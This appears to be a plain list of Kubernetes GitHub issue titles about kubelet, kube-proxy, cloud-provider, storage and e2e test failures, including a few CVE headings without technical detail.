
kubelet \ error updating node status\  appears when using keepalived on selected nodes

make hostaliases write aliases for an ip on the same line in /etc/hosts

k8s.io  mesos applies slave attributes as labels {kubernetes e2e suite}

remove ip of ingress controller from ingress object status when ingress controller ceases to exist

kube-apiserver doesn't prompt for authenticating proxy client cert unless client-ca-file is also specified

kubectl doesn't print gpu allocated when using kubectl describe node xxxx

automatic plugin discovery should trigger plugin init only for the relevant plugin  and not to all the existing plugins

failing test:  sig-networking  loadbalancing: l7 gce  slow   feature:neg

failing test  dns configmap nameserver  ipv4  forward external name lookup should forward externalname lookup to upstream nameserver in master-blocking

ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-cluster: broken test run

failure cluster  6d268a...  failed 49 builds, 3 jobs, and 1 tests over 1 days

move test related instances function out from the gce cloud provider

scheduler cleanup phase 1 : move schedulingqueue to pkg/scheduler/internal/queue

upgrade test  \ pods should not start app containers if init containers fail on a restartalways pod\  failing in gke-container_vm-1.3-container_vm-1.5-upgrade-master

ci-kubernetes-e2e-gke-container_vm-1.3-gci-1.5-upgrade-master: broken test run

failure cluster  504c3c...  failed 104 builds, 3 jobs, and 1 tests over 1 days

kube-up script does not pipe default flexvolume plugin directory to controller manager running on cos.

initcontainer exec failed when job-pod start, the restartcount can't used for backofflimit

pod type should use runtimeapi.podsandbox for sandoxing environment instead of container slice

unable to connect to the server: net/http: tls handshake timeout

not getzone for vsphere cloud provider if users don't want to get zone/region

restarting of kube-controller-manager shoudn't lead to re-emitting old endpoints events.

kubectl docs  long help  would look better if they coud use markdown

cloud-provider framework doesn't call event handler when service type changed

kubernetes rolling update not obeying 'maxunavailable' replicas when redeployed in autoscaled conditions

add way to specify kubeadm's --ignore-preflight-errors in initconfiguration and joinconfiguration

getting unusual timeouts with loadbalancer on kubernetes 1.3.3 running on gce

k8s.io  pod disks should schedule a pod w/ a rw pd, ungracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}

provide a place for system components to publish system-wide events.

k8s.io  port forwarding  k8s.io  with a server listening on 0.0.0.0 should support forwarding over websockets {kubernetes e2e suite}

examples suites do not pass clusterdns, cassandra, cassandrastatefulset and hazelcast tests

failure cluster  c73f9f...  failed 56 builds, 9 jobs, and 13 tests over 1 days

failure cluster  960bac...  failed 99 builds, 25 jobs, and 1 tests over 1 days

the cloud node controller makes redundant calls to fetch the node addresses

header key validation stricter than user.info.extra key validation

plugin \ defaultprovider\  needs to be registered in benchmarkscheduling

new deployment sometimes leaves old replicaset with active replicas

failure cluster  be986b...  failed 151 builds, 6 jobs, and 5 tests over 1 days

failure cluster  1fb2ba...  failed 73 builds, 3 jobs, and 1 tests over 1 days

'systemctl enable kubelet' fails with 'unit name kubelet is not valid' error on linux machine

gce cloud provider only list the first 500 results of a resource

kube-proxy should not be \ ready\  if it can't reach the apiserver

e2e ingress-gce  cleanupgceingresscontroller   should not monitor irrelevant resources

candidate for conformance  discussion to promote \  sig-api-machinery  garbage collector should orphan pods created by rc if deleteoptions.orphandependents is nil\  e2e test

failing test:  sig-scheduling  taintbasedevictions  serial  checks that the node becomes unreachable

investigate alternatives to proxying through the apiserver for things like pod/exec

consider writing last o 200 bytes  of container log output to pod status for terminated pods

missing v1finalizername constructor generated by swagger codegen

detachdisk should not fail if status is available in openstach volume

pull image from a cross-subscription azure container registry does not work by msi

upgrading a node from kubelet 1.1.3 to 1.2.0 results in containers getting destroyed and recreated

k8s.io  emptydir wrapper volumes should becomes running {kubernetes e2e suite}

missing number of comments on prs for previous month, consideration of active contributors

test failure:  simple customresourcedefinition creating/deleting custom resource definition objects works  conformance

gce: ilb sync fails for legacy networks and auto networks with unusual subnet names

failing test:  sig-apps  gke-gci-1.10-gci-master-upgrade-cluster-new

kube-controller-manager serves insecurely on ipv6   :: :<port>   v1.12.0

k8s.io  emptydir volumes should support  non-root,0644,tmpfs   conformance   volume  {e2enode suite}

federation service configured nodeport can not be used for service discovery cross cluster with coredns in 1.6

how to redirect log output to log_dir when using systemctl to start kube-apiserver?

failure cluster  895633...  failed 48 builds, 2 jobs, and 1 tests over 1 days

failure cluster  d68410...  failed 52 builds, 4 jobs, and 3 tests over 1 days

pv status is set to \ released\  automatically even if its bound to a pvc

add \ gcr.io/google_containers/e2e-net-amd64:1.0\  to white list

sample-controller should have an example of the polymorphic scale client

remote command execution fails with command info on kubernetes container.

incorrect error reported when vm.reconfigure fails in vsphere cloud provider

explain deployment.spec.strategy.rollingupdate.maxsurge and maxunavailable wrong defaults

kubelet: document in release notes if in-place upgrade should work

failure cluster  194920...  failed 173 builds, 27 jobs, and 24 tests over 1 days

gce: ilb creation can fail if subnets are manually added to automatic network and no subnetwork is specified.

about disable memory/disk pressure predicates if taintnodesbycondition enabled

with required podantiaffinity, scheduler couldn't find node  false positive matcher?

aws makes high number of redundant attachvolume and deletevolume calls

staging repos lack k8s.io/code-generator dependency in godeps.json

failing test  : gce-ingress-1.11 job failing on kubetest timeout in 1.11-release-blocking

port-forward failuremode can be overridden based on input addresses' order

k8s.io  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance  {kubernetes e2e suite}

test failure: pods created by replicationcontroller should spread to different node

kubelet csi version matching should check only major.minor.x values

success to pull docker imge using docker pull command but still getting error in kubectl describe - rpc error: code = unknown desc = error response from daemon:

upgrading from v1.13 to v1.14 causes daemonset's container restart unexpectedly

release-1.0:  services should release the load balancer when type goes from loadbalancer -> nodeport

save logs from nodes added during e2e tests  resize, autoscaling, reboot, etc.

message in  container lifecycle event poststart/prestop  always empty

kubernetes-cni issue with 1.9.0 - no ip address available in range

remove load balancer requirement for standing up cluster federation

local cluster leaking memory at about 500 mb per day per process while idle

proxy  move islocalip   and shouldskipservice   to pkg/proxy/util

kubelet disregards \ hostname-override\  if cloud-provider=aws is set

kubelet 'metrics/probes' endpoint uses a gauge instead of counters

allow tuning of fluentd configuration without building new images

host path volumes allow backsteps, psp allowedhostpaths only guard prefix

aws go sdk offeres interface for each of its service, suggest to program against those rather than concrete implementation

kubemark should hornor the config defined in the \ config-default.sh\

eviction manager races with housekeeping loop and evicts extra pods

e2e flaky:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero

filtering resources by structured data  e.g., annotations, fields

updates to uninitialized objects should fail the initialization instead of returning a failure code

make test-e2e-node  should exit with non-zero exit code for test failure

kube 1.7 against etcd 3.2.9 can result in hung etcd connections at large scales

x509: certificate is valid for hcp-kubernetes, kubernetes, ..., but not kuberetes.default

failed create pod sandbox: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-flannel-ds-amd64-l2xjb\ : error response from daemon: network host not found

kubectl -n should support both  -n namespace/yournamespace  and  -n yournamespace

merge robot should not file bugs on tests that only exist within a pr

dynamic volume provisioning creates ebs volume in the wrong availability zone

kubectl run  supports more options for deployment than  kubectl create deployment

e2e test failure   sig-storage   serial  volume metrics should create prometheus metrics for volume provisioning and attach/detach

update validation to ensure requests of hugepages equals to that of limit

ertificate_controller.go:139  sync node-csr-dkn2vh7vzvd9ujbf9xw_nwnzinzo1ivq1vxg_k1m-mu failed

find a cleaner alternative for salt configs on distros that do not support salt

retrying logic missing for gcloud operations in many cluster setup related scripts

vsphere cloud provider unable to detachvolume if node is deleted but not vsphere vm

the addnode and updatenode methods in pkg/controller/daemon/controller.go should only enqueue related daemonset

we should automatically capture a cpu dump and/or heapdump during e2e

kubernetes imagepullsecrets not working; getting “image not found”

lack of feature to run interactive mode from private docker image

when deleting and recreating a gcp node in an autoscaling group with bootstrapping on 1.7, pods sometimes not deleted by node controller

watcher error loop \ unable to decode an event from the watch stream\  from bad cr manifests

proposal: move k8s.io/apimachinery/pkg/apis/meta/v1 to k8s.io/api/meta

unable to access external ip from pods in kubernetes bare metal 1.14

dns: if nodes use 3 nameservers or > 3 search records -- trouble

kubelet unit test error message spam: open /proc/sys/net/bridge/bridge-nf-call-iptables: no such file or directory

determine which file system plugins work, and are  stable for writing 1k, 1m, 1g of data,  over service endpoints.

need a straightforward way to use custom config in cloud-monitoring addons

expose a service with loadbalancer on non-cloud providers using custom image for the load balancer

flake  pkg/kubeapiserver/admission/configuration testconfiguration

openstack  cloud routes : adding an allowed address pair wipes port security groups

volume creation fails with \ a component of the virtual machine is not accessible on the host\

kube-proxy  ipvs not work correct under calico with advertising  services over bgp

feature request: option to update just the image tag in a deployment

vsphere cloudprovider does not sanitise region or failuredomain, so nodes fail to register

k8s.io  federated ingresses  feature:federation  federated ingresses should create and update matching ingresses in underlying clusters {kubernetes e2e suite}

pod cgroup removed process killed  before containers stopped, cause cni gets empty network namespace when teardownpod

statefulsets from 1.7 become unschedulable after an upgrade to 1.8

why \ kubectl get nodes\  get none role and none external_ip for nodes

unable to connect to sql-lite db mounted on azurefile/azuredisks  sqlite_busy: database is locked

create shortname for --serviceaccount when creating rolebindings

document that coreos clusters can be created on gce using the standard cluster/kube-up.sh

storage.k8s.io api group incorrectly defaults to v1 for discovery in v1.6

make it easy to include a kubernetes client library in a separate go project

the \ reconfigure a node's kubelet in a live cluster\  tutorial doesn't work

determine whether we should continue to require uid in node config source reference

failing test:  sig-testing  kubeadm-gce and kubeadm-gce-selfhosting jobs failing to up the cluster

the ipset kube-load-balancer-source-cidr is not recogized as a hash set

all gke regional e2e tests using inline or preprovisioned pds are failing

@kubernetes how to launch aws loadbalancer for kubernetes cluster manually, is it possible to configure manually?

when i set -metric_resolution=5s ,heapster will be closed with panic.

deprecate / remove alpha.kubernetes.io/fluentd-ds-ready annotation

dynamic volume provisioning multiple ebs volumes for same pod creates in different azs

job controller should not rely on calculating pod for its status

collect and archive kube-system pod resource usage  especially memory  from scalability e2e

on update kubelet starts the new manifest-run pod before fully stopping the old one

controller-manager startup with  --secure-port=xxxx  but no certificate provided should not be running

pr:pull-kubernetes-e2e-gce-100-performance flaked 72 times in the past week

generated openapi file is pathologically large, contributes to significant size of kube binaries

consider renaming \ pod_name\  labels to \ pod\  and \ container_name\  labels to \ container\  for cadvisor metrics

asversionedobjects should not be hardcoded to scheme, and should be multi version aware

e2e test for kubectl drain involving stateful sets with a defined pdb

how to configure a node selector when i create service loadbalancer  of cloud=aws

openapi specs are not aggregated over the whole delegation chain

pod failed to evict while controller-manager happened to crash or change leader during the pod eviction process

add conformance comment annotations to the conformance e2e tests

kube-proxy ipvs support does not work when ipvs compiled into kernel rather than modules

bug: resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304

code-generator: generate-groups.sh doesn't support running from other directories

kubeadm v1.12.1  init failed kubelet error with unknown flag --cadvisor-port

remove those \ empty\  sub-pkgs of pkg/util which only exist until heapster rebases

test-infra-maintainers is the only non-sig team in owners_aliases

configmap volume: do not mount empty dir when subpath is not found

glusterfs endpoint/svc name and labels should no more than 63 characters

run the tensorflow task, why container mount /dev/nvidia1, using /dev/nvidia0 tensorflow?

openapi codegen should allow providing list of directories to search for dependencies

remove virtualmachinesizesclient dependency in azure disk getvolumelimits

monitoring and managing the quota size of containers and local volumes

\ kubectl exec\  sometimes incorrectly returns empty string causing tests to flake

failure cluster  4943e1...  failed 104 builds, 31 jobs, and 16 tests over 1 days

enable  admission_control  can be set as env var in local-up-cluster.sh

1.6 to 1.7 hpa-upgrade failure: timed out waiting for \ res-cons-upgrade\  to be synced

relying on describeinstance for available devices on a node for ebs is problematic

kubernetes conformance tests are failing for other than x86 archs

suggestion: is it possible to get kubernetes keep its secrets in hashicorp vault

in 1000 node clusters some nodes fail to register/become running

kubectl delete --namespace  ns  --all pv  deletes pvs outside of the target namespace

local storage: pod gets scheduled to node that does not have persistent volume available

kubelet under memorypressure but there are much memory left on the node

docker shim container naming schema parsing in case of randomized container name infering wrong fields?

k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  {kubernetes e2e suite}

k8s.io  resourcequota should verify resourcequota with best effort scope. {kubernetes e2e suite}

pod is containercreating in other node by scheduled when rbd is locked by one node

webhook admission controller should pass pod creation error back to upstream resources

due to ipset not supporting \ comment\ , kube-proxy is not working in ipvs mode in kubernetes 1.11.3

tests: maxcontainerbackoff tests are flaky when using windows nodes

document how to configure api server to use secure connection to etcd

nfs mount point on both k8s node and pod remain after pvc is deleted

nullerror: yaml: line 8: mapping values are not allowed in this context

e2e test issue: createbalancedpodfornodes would fail when computed usage metric cpufraction is greater than 1

kubectl logs - failed to get parse function: unsupported log format: \ \ \

conflicting scale up events on pods scheduled with secondary scheduler

failing test   sig-network  firewall rule  slow   serial  should create valid firewall rules for loadbalancer type service

port-forward  api call does not support websockets, spdy is still default.

allow kubelet to set http keep-alive client header for apiserver connections

enhance the codegen script within the staging sample apiserver to work with multiple groups and versions

return bool instead of error of func commonaccessor,listaccessor,accessor

windows - eviction manager: no observation found for eviction signal nodefs.inodesfree

possibility of using gluster volume in k8s if glusterfs client package on container

k8s.io  cluster size autoscaling  slow  should add node to the particular mig  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

refresh token requires id_token in response but openid spec it is optional

node container runtime conformance test to check container runs before exiting

error: yaml: line 2: mapping values are not allowed in this context

k8s.io  statefulset  k8s.io  basic statefulset functionality should allow template updates {kubernetes e2e suite}

create an e2e test to check whether system component's logs are ingested

k8s.io  cluster level logging using gcl  feature:stackdriverlogging  should create a constant load with short-living pods and ensure logs delivery {kubernetes e2e suite}

failure cluster  8c679e...  failed 51 builds, 4 jobs, and 1 tests over 1 days

servicecontroller doesn't sync the status of loadbalancer service into apiserver

kubeadm join fails w/kubelet error: failed to \ startcontainer\  for \ kubedns\

failing test:  sig-cluster-lifecycle  kubeadm gce, gce-selfhosting up

move csi rbac role definitions from kubernetes/kubernetes to external repos

sig-scheduling  resourcequota should create a resourcequota and capture the life of a configmap

kubelet fails to authenticate to apiserver due to expired certificate

setting node_image_project in cluster/gce/config-default.sh seems to have no effect

116 nodes gradually marked unhealthy over the course of 15 minutes

multiple matchexpressions in nodeselectorterms works unexpectedly

failure cluster  1093c2...  failed 237 builds, 11 jobs, and 1 tests over 1 days

cve-2017-1002102 - atomic writer volume handling allows arbitrary file deletion in host filesystem

apiserver along with entire control plane crashes during initialization in previously long running kubernetes cluster

flaking test: 100 nodes:  sig-scalability  load capacity  feature:performance  should be able to handle 30 pods per node replicationcontroller with 0 secrets, 0 configmaps and 0 daemons

kubefed should use the right rbac api version depending on the host cluster

kubernetes cluster, in kubeadm join:  discovery  failed to request cluster info, will try again getsockopt: connection refused

cross-build broken again?...? ...build constraints exclude all go files...

replace htmlpreview links by kubernetes.io links in release docs

api reference has incorrect response schema for many delete calls

kubelet crashlooping with \ creating csr forbidden: user \ kubelet\  unknown\

normal events of statefulset blocked for long time by resynced events

aws specific configuration doesn't change the kube-dns to the specified dns_server_ip

--register-with-taints needs to change to using field instead of annotations in 1.6

kubelet  version 1.6.2  is runnig but get stuck by showing all time \ setting node annotation to enable volume controller attach/detach\  in the logs.

kubemark high-density test flaking due to stock-out in us-central1-f

azurefile mount fails - putting new line between storage account and domain

apiextensions: extract content of labelselectorpath of custom resource as a labelselector?

how do i get to know the config context  default  preference  namespace etc

\ kubectl proxy\  could rewrite absolute urls using session cookies

discovery summarizer: should it merge swagger spec from all servers

e2e flakes  ci-kubernetes-e2e-gke-reboot - at least one node failed to reboot in the time given

kubelet error adding network: the server does not allow access to the requested resource

\ notready\  node leads to \ unknown\  pod that don't detach disks  and thus can't be recreated

resourcequota got something wrong when stop kube-controller-manager for a while

firewall rule e2e test failing on large clusters due to misconfig

cluster_size_autoscaling shouldn't wait for restoring the initial cluster size if the provider is not supported

kubernetes: readinessprobes failing but the livelinessprobe is succeeding with the same settings

creating pod without volume configurations  secret or configmap , with non-optional, the pod creation returns timeout exception after 5 minutes.

some service tags are not supported from azure loadbalancer services

the kubelet should create the  --cert-dir  directory if it doesn't exist

how can i set the source ip of the traffice to be the service cluster-ip when sending snmp trap in kubernetes pods？

failing storage tests: in-tree volumes  driver: local   testpattern: pre-provisioned pv  xfs

failing test   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down

https-nginx example requires a development environment to be setup

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}

centos 7 service reporting unhealthy to tcp elb after short period of time.

kubelet clientcertificatemanager should use async notification rather than periodically checks to know certificate rotation

introduce critical performance tests as  manually unblockable  post-submit blockers

moving deployment from v1beta1 to v1beta2 inconsistent validation

kubeadm init blocks at \ this might take a minute or longer if the control plane images have to be pulled.\

error:  gcloud.compute.instance-templates.create  could not fetch image resource:

hpa : gke | hpa is not scaling pods even though the memory utilization hits the threshold value

init-containers with resource requests/limits fail to schedule with \ oci runtime error: failed to write nnn to cpu.cfs_quota_us\

kubectl annotate breaks slashes in keys with cli 1.7 and master 1.8

creating windows pods flaky due to hns error \ failed to create the new hnsendpoint: hnscall failed in win32: the object already exists.  0x1392 \

failing test  gce-5000: increased latency of replicationcontrollers list

make cluster/get-kube.sh more resilient to unclean gce project starting state

k8s.io  deployment deployment should create new pods {kubernetes e2e suite}

heat-openstack provider never completes stack creation, times out

k8s.io  container manager misc  serial  validate oom score adjustments once the node is setup  pod infra containers oom-score-adj should be -998 and best effort container's should be 1000 {e2enode suite}

release-1.7  panic in kube-controller-manager from concurrent map write race in resource quota controller

influxdb-related e2e shouldn't run when influxdb is not enabled on the cluster

confusing daemonset's retry creating failed daemon pods e2e test

kubernetes fails at  cmd/gke-certificates-controller stage with dir: _output left with no space

persistentvolumelabel  admission plugin is enabled by default but prints deprecation warning message

flaky test   sig-apps  daemonrestart  disruptive  kubelet should not restart containers across restart

admission: podsecuritypolicy should run after mutatingadmissionwebhook

federation control plane should use service accounts to communicate with federated clusters

failure cluster  3002fd...  failed 101 builds, 20 jobs, and 2 tests over 1 days

crd age does not change from <invalid> as soon as it becomes established

density tests : investigate ways that failures can happen + loosen thresholds if/where appropriate.

federation per-user cluster authentication, authorization and audit logging

failure cluster  383b71...  failed 122 builds, 24 jobs, and 58 tests over 1 days

k8s.io/apiserver should have a flag to control the go mutex profiling fraction

pods created via statefulset are not being given a records as expected

cephfs: \ permission denied\  when read or write in dir of the cephfs mounted with selinux is enforced

kubernetes v1.4.3 master deployed 135 nodes, after that the master node inaccessible.

bug  returning nil ttl will not keep the same value as the comment mentioned

fail to run comformance scheduling tests on env where old e2e-tests namespace exists

gke  pound symbol in master auth password causes kube-apiserver component to become unhealthy

kube-proxy use ipvs proxy-mode blocks ipv6 nodeports when running in ipv4 mode

kubectl does not work in ha deployment when the first master node is down

k8s.io  node container manager  serial  validate node allocatable set's up the node and runs the test {e2enode suite}

liveness/readiness probes should treat any 2xx status as healthy

decrease pod with pvc failover time in case of node is shutdowned.

source-ip is not preserved with externaltrafficpolicy:local if externalips are used

can we not have cfg.kubeproxy.config.bindaddress hardcoded to be \ 0.0.0.0\  ?

\ kubectl help xxx\  / \ kubectl xxx -h\  should print usage at the bottom, not the top

vsphere cloud provider does not support saml auth tokens for tag-based node labeling

add ability for configmapvolumesource to project metadata into a file

change \ scheduler name\  field name from schedulername to schedulername to adhere to api guidelines

gce cloud getinstancebyname and getinstancesbynames might not work efficiently with nodenameprefix matching

controller-manager: horizontalpodautoscalers.autoscaling the object has been modified

k8s.io  kubectl client  k8s.io  kubectl expose should create services for rc  conformance  {kubernetes e2e suite}

refactor teardownat   of volume plugins to use the common utility unmountpath

failure cluster  7494e2...  failed 145 builds, 30 jobs, and 2 tests over 1 days

use of /dev/random generates secret key with invalid size in gce

the latest version described in the changelog-1.12.md is still v1.12.0-rc.2

ignoring node xxxx with networkunavailable condition status true

failing test   sig-storage  subpath should unmount if pod is gracefully deleted while kubelet is down

cve-2019-11245: v1.14.2, v1.13.6: container uid changes to root after first restart or if image is already pulled to the node

ebs volumes remains in 'attaching' state when attached with a previously used device name

determine sig escalation paths for issues impacting test infrastructure

bug in \ validates resource limits of pods that are allowed to run\

node e2e serial local storage capacity isolation tests are failing

replace reflect.deepequal with semantic.deepequal in controller registries

the verson of cadvisor built-in to the kubelet does not support zfs.

cname records aren't properly created with unhealthy service in openstack cluster

get clusters --show-labels does not work in a federation context

kubectl exec $podname -- /bin/sh -c \ sleep 16200\ , why run 4 hours is over?

admission/webhook: a non-working webhook on namespace lets apiserver launch fail

feature request  add --node-annotations command flag for kubelet

integration tests for csinodeinfo nodeauthorizer and noderestriction updates

e2e \ should support existing single file subpath\  test fails on environment without external ip

storage xfs volumes should be mountable test does not verify actual formatted filesystem

gce vm: killed kubelet and it did not come back for almost 2 minutes

fix regression in ux experience for double attach volume failure

failure cluster  a9e3ad...  failed 85 builds, 2 jobs, and 1 tests over 1 days

clusterrolebinding and rolebinding don't work when bind with same resource

not able to initialize kubernetes cluster with assigned ip : vagrant provisioned infra

return total size of all matched data sets in list apis responses

'kubectl delete job <jobname>' hangs for ten minutes, then times out

cve-2017-1002100: azure pv should be private scope not container scope

disable or override parts of a cloud provider implementation  aws custom load balancer controller

list_zones inaccurate  metric name when it can include regions as well.

e2e nodes tests for selinux relabelling  and selinux relabelling when using hostpid are flaky

clients: make it obvious when you should call update and when you should call updatestatus

failure to create self-client in apiserver startup should be fatal

aws + kops: request limit exceeded across securitygroup & internetgateway

ci-kubernetes-e2e-gke-gci-1.3-gci-1.5-upgrade-cluster: broken test run

new hyperkube image fail silently! enviroment is broken, bash is a link to sh

endpoint unavailable for a long time  almost 2h  for a correct service

the port field returned from kubectl get ingress cannot be customized

service proxy for websocket is missing forwarded headers and query params

create daemon set test where a new node is added with a matching label

e2e libraryzation:  more extensibility, possibly refactor testcontext.

nodenotready after controller-manager failover leads to deletion of all pods

impersonating a user does not automatically include the  system:authenticated  group

kube-apiserver.service running error ：code=exited, status=203/exec

flaky test: subresource_test integration test is failing with panic error

serviceport's api schema doesnt match actual response for targetport field

cluster/gce/util.sh doesn't handle long firewall rule names properly

use pleg to get containerstart events, and then run post-start hooks

k8s.io  projected should be consumable from pods in volume with mappings and item mode set  conformance   volume  {e2enode suite}

kubelet restarts container after it finished successfully even with restartpolicy never

deprecate and remove gce specific feature - node dialer talking to the cloud provider

pdb maxunavailable doesn't work on pods without controllers.  minavailable does.

clientcmd loader should use go-homedir or similar to get home directory

k8s.io  replicaset should serve a basic image on each replica with a private image {kubernetes e2e suite}

enable configmaps to store binary files as well as character files.

make bot comments more helpful and friendly for each contributor's first few prs.

daemonset with podnodeselector admissioncontroller keeps starting on unselected nodes

rpc error: code = 2 desc = failed to start sandbox container for pod \ xxx\ : operation timeout: context deadline exceeded

etcd  status healthy to unhealthy from time to time when with 1000 kubernetes node

failure cluster  5d226a...  failed 89 builds, 30 jobs, and 2 tests over 1 days

terminal size calculation is wrong when upgrade http to spdy stream protocol

reference definitions refer to \ .md\  urls instead of their canonical forms

intersection of running as non-root, minikube, hostpath = not working well

k8s.io  probing container should  not  be restarted with a exec \ cat /tmp/health\  liveness probe  conformance  {kubernetes e2e suite}

regular expression for limit validation fails on scientific notation with units

podsecuritypolicy: consider removing omitempty from the fields to improve ux

gci kube-up.sh uses gcloud alpha rather than gcloud beta when ip aliases is enabled

pods sometimes don't get an ip if kubelet restarts while containercreating

fluentd-gcp-v2.0 prometheus port collides with another kube-proxy port

hack/verify-api-groups.sh: line 76: group_dirnames @ : unbound variable

attached volume data structure issue in volume manager's actual state

azure cloud provider is always selecting the last element of lb list

not complete support for flags of boolean type in kubectl plugins

e2e failure   sig-apps  daemon set  serial  should adopt existing pods when creating a rollingupdate daemonset regardless of templategeneration

should ignore the \ not found error\  when ensure ipset set or entry are deleted

nested volumes beneath api data volumes prevent container from starting

kubernetes does not finish reading stdout/stderr for logging on quick exit

please suggest what is the annotation for health check path on load balancer

api calls from pod fail with \ securitycontext.supplementalgroups is forbidden\

pod stuck in terminating if container exits prior to prestop hook completion

vsphere cloud provider returns ip addresses from all kernel interfaces

.yaml files containing non-yaml markup should have proper file extension

leaderelection for the controller manager is broken when using rbac and --use-service-account-credentials

volume's size is smaller than requested or volume's class does not match with claim

apiserver -> etcd healthcheck does not complete tls handshake, etcd logs warning

sig-apimachinery  removal of an aggregated client from the e2e test framework

vsphere cloud provider: enable secured tls client connection to vcenter

failing test   k8s.io  summary api when querying /stats/summary should report resource usage through the stats api

reduce the barrier to entry for deploying machine learning workloads.

ambiguity to find pod specific watch api endpoints in e2e test suite

failing test  before suites failing for ci-kubernetes-node-kubelet-beta in 1.14-blocking

plugin/errors: 2 86788i get this error ,when i se logs on kube-dns,because of this i cant curl any endpoint and nslookup to kubernetes.default is not reachable57457967447011.5992709372429440277. hinfo: unreachable backend: no upstream host

node feature discovery for kubernetes - unable to complete in my setup

scheduler should be able to rebuild its cache and compare it with the existing one

invalid mirrors for fedora/update  deps during kube-up /cluster setup

pvc w/ alpha storage-class annotation stuck in \ cannot find volume plugin for alpha provisioning\

kubectl drain should print progress when it is attempting evictions

windows kubelet.exe fails to start on vmware fusion due to getphysicallyinstalledsystemmemory fails

cannot disable healthz port on kube-proxy when using config file

killing container after started container on windows server 2019

privileged container can't see custom mapping device name inside the container

plugin watcher server failing sometimes with err: too many open files

best practice to generate --tls-cert-file and --tls-private-key-file for thousands of kubelets?

openstack lbaas v2 deletes load balancers if \ managesecuritygroups\  is true.

k8s.io  deployment deployment should support rollback {kubernetes e2e suite}

k8s.io  downward api should provide default limits.cpu/memory from node capacity {kubernetes e2e suite}

audit policy: a policy with 0 rules should return an error, kind and apiversion now required

kube-proxy ipvs mode can't corresponding change chain when endpoint changed

support service.spec.sessionaffinity mode that allows affinity based on arbitrary headers

kubectl patch cannot patch a json list of items, only a single item

local cluster creation using cluster/get-kube-local.sh is not working

kube-proxy ipvs mode can't realize session affinity in some cases.

maximum number of concurrent createroute calls should be configurable

k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work from pods  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}

tcp proxyloop should spin goroutine when trying to connect to endpoints

k8s.io  secrets should be consumable from pods in volume  conformance  {kubernetes e2e suite}

cri: clearly define the  privileged  field in the security context

pvcs using  standard  storageclass create pds in disks in wrong zone in multi-zone gke clusters

build/rpms fails without rpmbuild installed, causing  make bazel-build  to fail

missing proto struct tags incompatible with latest golang/protobuf changes

the docker vendored here is too old, is it possible to upgrade it?

e2e flakiness: networking  k8s.io  pods should function for intra-pod communication

what’s the mean? from istio 1.0 sample, init:blocked , i install in stand-alone vm, centos 7.5

consider to add an option for podsecuritypolicy  to support a blacklist for hostpath

prodswitch-off kubelet should reject allocated pods from kube-apiserver  was: unschedulable kubelet should reject allocated pods from kube-apiserver

libvirt box with vagrant provider does not have the  wget  package installed

use weights when decreasing replicas number in federated replica set with rebalance=false

e2e storage tests \ pod disks\  and \ pd\  don't wait for detach in aws

internet connection lost on pods when downscaling nodes is in progress

allow-privilged is deprecated, how to setup kubelet without allow-priviliged=true?

emit events when daemonset fails to schedule pod due to hostport clash

federation  federation should fully support clusters with a previous api version.

service.alpha.kubernetes.io/tolerate-unready-endpoints misuses the endpoints api object

servicecontroller: loadbalancer service may get externalip <pending> forever.

detach azure disk should not hold data disk list for a long time

return a \ disabled\  message for extension apis that are turned off.

printeventlist is only used for watch-only and not for get event list

deployment pause a fail deployment will cause the running pod disappear when maxunavailable=replicas-1

kubelet tries to use system-wide http_proxy setting for communicating with local pods

failure cluster  87a6d0...  failed 101 builds, 16 jobs, and 1 tests over 1 days

flaky test: k8s.io/kubernetes/test/integration/garbagecollector testcreatewithnonexistentowner

some tests in k8s.io/kubernetes/pkg/kubelet/deviceplugin pkg are flaky

tracking issue: two consistently failing upgrade tests: fix or remove?

kubeadm 1.14.1 - new control plane won't join, missing kubelet config

kube-up.sh with kubernetes_provider=libvirt-coreos fails to start kube2sky

kubectl code cleanup: overhaul the resource alias introduced  6573

hack/update-generated-swagger-docs.sh does not allow commit to pass

cannot create services when using aws application load balancer for etcd

nodes go missing if cloudprovider instances api returns an error

problem with apiserver metrics for request counts of \ list\  api calls

failure cluster  e37e44...  failed 88 builds, 2 jobs, and 8 tests over 1 days

failure cluster  c76502...  failed 89 builds, 6 jobs, and 6 tests over 1 days

sample-apiserver api resource types don't have protobuf definitions, requests respond with errnotmarshalable

panic: runtime error: invalid memory address or nil pointer dereference  signal sigsegv: segmentation violation code=0x1 addr=0x70 pc=0x15b7eaa

azure - pip dns label will not change while updating the service

failing test:  sig-scheduling  schedulerpriorities  serial  pod should be preferably scheduled to nodes which satisfy its limits

kubelet: observed a panic: \ invalid memory address or nil pointer dereference\

kubelet regression: non-existent root directory causes error instead of autocreation

kubectl delete ds command times out if container s  didn't start successfully before

k8s.io  services should serve multiport endpoints from pods  conformance  {kubernetes e2e suite}

can't access a service through the internet using externalips, though i can access it inside the server.

pr:pull-kubernetes-kubemark-e2e-gce flaked 28 times in the past week

failing tests: master blocking  sig-scheduling  limitrange should create a limitrange

include csr-signing ca cert bundle in default service account token secret

when apiserver is unavailable, kubelet cannot restart containers that set env using configmapkeyref

gluster mounts are killed when container with kubelet is restarted

improve robustness of certificate setup during e2e cluster creation

individual controllers should not cause kube-controller-manager to exit

windows kubelet - failed to construct signal: \ allocatablememory.available\  error

the names of the two child nodes are the same, resulting in confusion.

hpa doesn't get ready, has no events and keeps showing <waiting> in the current status

kubeadm init  stuck at temporarily unable to list nodes  will retry  on centos 7

x.509 issues with kube-apiserver with saltbase installation on v1.6.2

pod without an explicit cpu resource should not be created when resourcequota is enforced

no kind \ deployment\  is registered for version \ apps/v1beta2\

node cannot join in cluster,  the server has asked for the client to provide credentials

